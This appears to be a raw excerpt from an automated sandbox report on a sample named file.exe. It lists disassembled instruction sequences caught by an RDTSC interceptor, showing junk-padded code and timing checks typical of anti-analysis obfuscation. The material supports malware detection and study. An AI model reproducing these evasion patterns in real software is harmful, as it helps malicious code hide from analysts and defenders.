Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E19 second address: 4ED0E6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA6B11DE25Fh 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FA6B11DE25Bh 0x00000018 and cx, FAEEh 0x0000001d jmp 00007FA6B11DE269h 0x00000022 popfd 0x00000023 mov dx, ax 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push edi 0x0000002d pop eax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E6C second address: 4ED0E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B14AD58Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E7A second address: 4ED0E92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE25Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E92 second address: 4ED0E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E96 second address: 4ED0E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E9A second address: 4ED0EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB044B second address: 4EB0460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE261h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0460 second address: 4EB047C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB047C second address: 4EB0480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0480 second address: 4EB0484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0484 second address: 4EB048A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB048A second address: 4EB0490 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0490 second address: 4EB0494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0494 second address: 4EB04BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FA6B14AD598h 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04BF second address: 4EB04C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04C3 second address: 4EB04C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90603 second address: 4E9062D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6690CAE2h 0x00000008 mov bh, B3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007FA6B11DE260h 0x00000014 movzx eax, di 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9062D second address: 4E90646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD595h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90646 second address: 4E90656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE25Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90656 second address: 4E9065A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9065A second address: 4E90693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FA6B11DE267h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA6B11DE265h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0029 second address: 4EB003E instructions: 0x00000000 rdtsc 0x00000002 mov eax, 17307F6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, A38Bh 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB003E second address: 4EB0042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0042 second address: 4EB0055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0055 second address: 4EB007A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE269h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edx, eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0263 second address: 4EB035A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6B14AD590h 0x00000009 adc ax, B008h 0x0000000e jmp 00007FA6B14AD58Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FA6B14AD598h 0x0000001a sbb si, D268h 0x0000001f jmp 00007FA6B14AD58Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 xchg eax, ebp 0x00000029 pushad 0x0000002a movzx eax, dx 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FA6B14AD58Dh 0x00000034 xchg eax, ebp 0x00000035 pushad 0x00000036 movzx esi, di 0x00000039 pushfd 0x0000003a jmp 00007FA6B14AD599h 0x0000003f jmp 00007FA6B14AD58Bh 0x00000044 popfd 0x00000045 popad 0x00000046 mov ebp, esp 0x00000048 jmp 00007FA6B14AD596h 0x0000004d pop ebp 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FA6B14AD58Dh 0x00000057 add si, 65F6h 0x0000005c jmp 00007FA6B14AD591h 0x00000061 popfd 0x00000062 pushfd 0x00000063 jmp 00007FA6B14AD590h 0x00000068 adc ecx, 4E846F18h 0x0000006e jmp 00007FA6B14AD58Bh 0x00000073 popfd 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0663 second address: 4ED0679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE262h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0679 second address: 4ED06BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA6B14AD596h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov cl, 05h 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FA6B14AD591h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06BC second address: 4ED06D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE261h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06D1 second address: 4ED06F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FA6B14AD595h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06F8 second address: 4ED06FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED06FE second address: 4ED074A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD592h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA6B14AD58Bh 0x0000000f xchg eax, ecx 0x00000010 jmp 00007FA6B14AD596h 0x00000015 mov eax, dword ptr [76FA65FCh] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FA6B14AD58Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED074A second address: 4ED0750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0750 second address: 4ED07BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov cl, 2Fh 0x0000000e mov ecx, edx 0x00000010 popad 0x00000011 je 00007FA723500782h 0x00000017 jmp 00007FA6B14AD595h 0x0000001c mov ecx, eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FA6B14AD58Ch 0x00000025 sub ecx, 3FCFBDF8h 0x0000002b jmp 00007FA6B14AD58Bh 0x00000030 popfd 0x00000031 mov edx, esi 0x00000033 popad 0x00000034 xor eax, dword ptr [ebp+08h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FA6B14AD58Eh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED07BD second address: 4ED080A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FA6B11DE267h 0x0000000b xor cx, 2F1Eh 0x00000010 jmp 00007FA6B11DE269h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 and ecx, 1Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push edx 0x00000020 pop esi 0x00000021 mov edi, 5ECA7A8Ah 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED080A second address: 4ED0837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD590h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007FA6B14AD590h 0x00000010 leave 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0837 second address: 4ED083D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED083D second address: 4ED0884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00B22014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FA6B589DD1Eh 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007FA6B14AD590h 0x0000002b pop eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FA6B14AD597h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0884 second address: 4ED08DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE269h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007FA6B55CEA31h 0x00000011 mov edi, edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA6B11DE25Ch 0x0000001a sbb ah, FFFFFFC8h 0x0000001d jmp 00007FA6B11DE25Bh 0x00000022 popfd 0x00000023 mov bl, al 0x00000025 popad 0x00000026 push ebx 0x00000027 jmp 00007FA6B11DE260h 0x0000002c mov dword ptr [esp], ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08DE second address: 4ED08FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED08FB second address: 4ED0901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E800D8 second address: 4E80109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6B14AD58Bh 0x00000009 sbb esi, 3C33582Eh 0x0000000f jmp 00007FA6B14AD599h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80109 second address: 4E8012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 mov si, B189h 0x0000000d mov ax, DD45h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA6B11DE25Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8012C second address: 4E801C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD58Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA6B14AD594h 0x00000011 jmp 00007FA6B14AD595h 0x00000016 popfd 0x00000017 call 00007FA6B14AD590h 0x0000001c mov esi, 282669F1h 0x00000021 pop esi 0x00000022 popad 0x00000023 mov ebx, dword ptr [ebp+10h] 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FA6B14AD593h 0x0000002d sbb ax, 5E5Eh 0x00000032 jmp 00007FA6B14AD599h 0x00000037 popfd 0x00000038 mov ah, DFh 0x0000003a popad 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801C0 second address: 4E801C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801C6 second address: 4E801CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801CC second address: 4E801D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801D0 second address: 4E80209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007FA6B14AD592h 0x00000010 mov esi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA6B14AD597h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80209 second address: 4E80291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA6B11DE25Fh 0x00000008 pop esi 0x00000009 mov dh, 10h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 mov al, E6h 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FA6B11DE266h 0x00000019 jmp 00007FA6B11DE265h 0x0000001e popfd 0x0000001f pop esi 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FA6B11DE263h 0x0000002b and eax, 3B0F4E9Eh 0x00000031 jmp 00007FA6B11DE269h 0x00000036 popfd 0x00000037 mov bx, ax 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80291 second address: 4E802CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 73FEh 0x00000007 call 00007FA6B14AD58Fh 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, edi 0x00000011 pushad 0x00000012 mov edi, ecx 0x00000014 popad 0x00000015 test esi, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA6B14AD599h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802CD second address: 4E802D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802D3 second address: 4E802D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802D7 second address: 4E8034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA72327C58Ch 0x0000000e pushad 0x0000000f mov di, 4558h 0x00000013 jmp 00007FA6B11DE261h 0x00000018 popad 0x00000019 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000020 pushad 0x00000021 movzx esi, bx 0x00000024 popad 0x00000025 je 00007FA72327C579h 0x0000002b jmp 00007FA6B11DE25Bh 0x00000030 mov edx, dword ptr [esi+44h] 0x00000033 jmp 00007FA6B11DE266h 0x00000038 or edx, dword ptr [ebp+0Ch] 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FA6B11DE267h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8034E second address: 4E80354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80354 second address: 4E80358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80358 second address: 4E80389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e jmp 00007FA6B14AD597h 0x00000013 jne 00007FA72354B891h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80389 second address: 4E803A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE267h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803A4 second address: 4E80449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA6B14AD58Fh 0x00000008 pop esi 0x00000009 call 00007FA6B14AD599h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 test byte ptr [esi+48h], 00000001h 0x00000016 pushad 0x00000017 jmp 00007FA6B14AD58Dh 0x0000001c push esi 0x0000001d call 00007FA6B14AD597h 0x00000022 pop esi 0x00000023 pop ebx 0x00000024 popad 0x00000025 jne 00007FA72354B826h 0x0000002b pushad 0x0000002c jmp 00007FA6B14AD592h 0x00000031 jmp 00007FA6B14AD592h 0x00000036 popad 0x00000037 test bl, 00000007h 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FA6B14AD597h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E708C0 second address: 4E7091B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE269h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007FA6B11DE25Eh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 call 00007FA6B11DE25Dh 0x00000018 movzx ecx, di 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA6B11DE266h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7091B second address: 4E70921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70921 second address: 4E70925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70925 second address: 4E70985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FA6B14AD599h 0x0000000e xchg eax, esi 0x0000000f jmp 00007FA6B14AD58Eh 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ebx, ecx 0x0000001a pushfd 0x0000001b jmp 00007FA6B14AD598h 0x00000020 and ah, 00000048h 0x00000023 jmp 00007FA6B14AD58Bh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70985 second address: 4E70A84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE269h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b call 00007FA6B11DE25Ch 0x00000010 pop ecx 0x00000011 mov cx, bx 0x00000014 popad 0x00000015 mov esi, dword ptr [ebp+08h] 0x00000018 jmp 00007FA6B11DE269h 0x0000001d sub ebx, ebx 0x0000001f pushad 0x00000020 call 00007FA6B11DE25Dh 0x00000025 jmp 00007FA6B11DE260h 0x0000002a pop eax 0x0000002b pushfd 0x0000002c jmp 00007FA6B11DE25Bh 0x00000031 adc al, FFFFFFAEh 0x00000034 jmp 00007FA6B11DE269h 0x00000039 popfd 0x0000003a popad 0x0000003b test esi, esi 0x0000003d pushad 0x0000003e call 00007FA6B11DE25Ch 0x00000043 pushfd 0x00000044 jmp 00007FA6B11DE262h 0x00000049 and ah, 00000058h 0x0000004c jmp 00007FA6B11DE25Bh 0x00000051 popfd 0x00000052 pop ecx 0x00000053 movsx edi, cx 0x00000056 popad 0x00000057 je 00007FA723283B92h 0x0000005d pushad 0x0000005e mov si, F85Dh 0x00000062 mov dh, ah 0x00000064 popad 0x00000065 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000006c jmp 00007FA6B11DE265h 0x00000071 mov ecx, esi 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 popad 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A84 second address: 4E70A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A88 second address: 4E70A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70A8E second address: 4E70AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6B14AD590h 0x00000009 adc esi, 567B8A48h 0x0000000f jmp 00007FA6B14AD58Bh 0x00000014 popfd 0x00000015 mov ax, 8DBFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c je 00007FA723552E6Eh 0x00000022 jmp 00007FA6B14AD592h 0x00000027 test byte ptr [76FA6968h], 00000002h 0x0000002e jmp 00007FA6B14AD590h 0x00000033 jne 00007FA723552E52h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AF6 second address: 4E70AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AFA second address: 4E70B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B00 second address: 4E70B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6B11DE25Bh 0x00000009 rdtsc
